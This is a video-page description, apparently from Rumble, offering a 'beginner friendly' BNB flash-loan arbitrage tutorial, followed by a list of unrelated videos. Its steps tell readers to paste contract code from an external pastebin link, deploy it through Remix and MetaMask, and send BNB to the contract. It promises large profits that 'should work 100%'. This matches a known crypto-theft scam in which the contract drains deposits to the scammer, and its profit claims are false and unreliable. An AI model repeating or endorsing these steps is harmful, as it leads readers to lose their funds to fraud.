HUGE PROFITS ! BNB FLASH LOAN ARBITRAGE UNISWAP & PANCAKESWAP FLASHLOAN ! BEGINNER FRIENDLY
Lets learn how to deploy flash loan arbitrage on Binance Smart Chain.
We'll deploy new smart contract to Binance Smart Chain via remix and swap tokens on PancakeSwap and UniSwap.
MetaMask:
https://metamask.io/
Remix:
https://remix.ethereum.org/
Pastebin file (Contract):
https://pastebin.com/yGT2f1BT
Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
So, what’s the catch?
A flash loan has to be borrowed and repaid within the same blockchain transaction.
Step By Step Tutorial for Flash Loan:
1. Get the MetaMask Extension for your browser
2. Open http://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file flashloan.sol and paste the contract code link below.
https://pastebin.com/yGT2f1BT
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
8. Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”
9. Wait for the code to compile.
10. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
11. On “_TOKENNAME” mytoken
12. On “_TOKENSYMBOL” LOP
13. On “_LOANAMOUNT” 1000
14. Click Transact and confirm the transaction in MetaMask.
15. Wait for the transaction to confirm.
16. Copy the address of the newly deployed contract.
17. Send BNB to the deployed contract to initiate the swap 0.2+ (0.3 up is better as you will get a bigger amount in each swap)
18. Wait for the transaction to confirm.
19. Now, Click “action” (red box) to execute the Flash Loan.
20. Confirm the transaction in MetaMask and wait for the confirmation.
21. You can now check your wallet
Note: if it doesn’t work with 0.2 BNB try to send another 0.2 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing)
Avoid using very low amounts as contract may fail below 0.15 BNB.
Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure you transfer your BNB out to another wallet when you are done.
➡️IMPORTANT NOTICE : This method is not working on testnet ! Why ?
UniSwap & PancakeSwap have testnet versions but Flash loan arbitrage bot searches for profits on decentralized exchanges. There isn't any arbitrage opportunity on testnet. So flash loan arbitrage bot can't work on testnet.
-
38:57
The Why Files
1 day agoBackyard Time Machine: The Time Travel Mystery of Mike “Mad Man” Marcum
49.5K61 -
3:58:52
Due Dissidence
18 hours agoBronx Trump Rally SPECIAL REPORT, Chappelle SLAMS Israel, Greenwald OWNS Dershowitz
64K113 -
21:53
Breaking Points
20 hours ago5/26/24 AMA
26.1K11 -
2:58:31
SonnyFaz
11 hours agoSNEAKO X SONNY NEW YORK TAKEOVER!
44.8K38 -
2:13:04
vivafrei
20 hours agoEp. 212: Trump FBI Raid; Alex Jones' Lawyer Victory; Biden Ballot & MORE! Viva & Barnes
147K270 -
6:38:26
PudgeTV
14 hours agoBorderlands 2 From the Content Creator House | Fortnite w Frag | Happy Memorial Day Weekend
61.8K11 -
3:32:12
SNEAKO
16 hours agoNYC One Minute Podcast! (DAY 2)
146K114 -
1:43:15
WeAreChange
15 hours agoTrump Endorses FREE MARKET Money As Biden GLORIFIES George Floyd!
90.8K131 -
2:15:35
SilverFox
17 hours ago🔴LIVE - Elden Ring from the RUMBLE CREATOR HOUSE!!
65.5K2 -
3:12:08
FusedAegisTV
19 hours ago33 Days to Dawntrail🕒| JIMI HENDRIX PLAYS FFXIV Online Endwalker 6.0 MSQ
62K9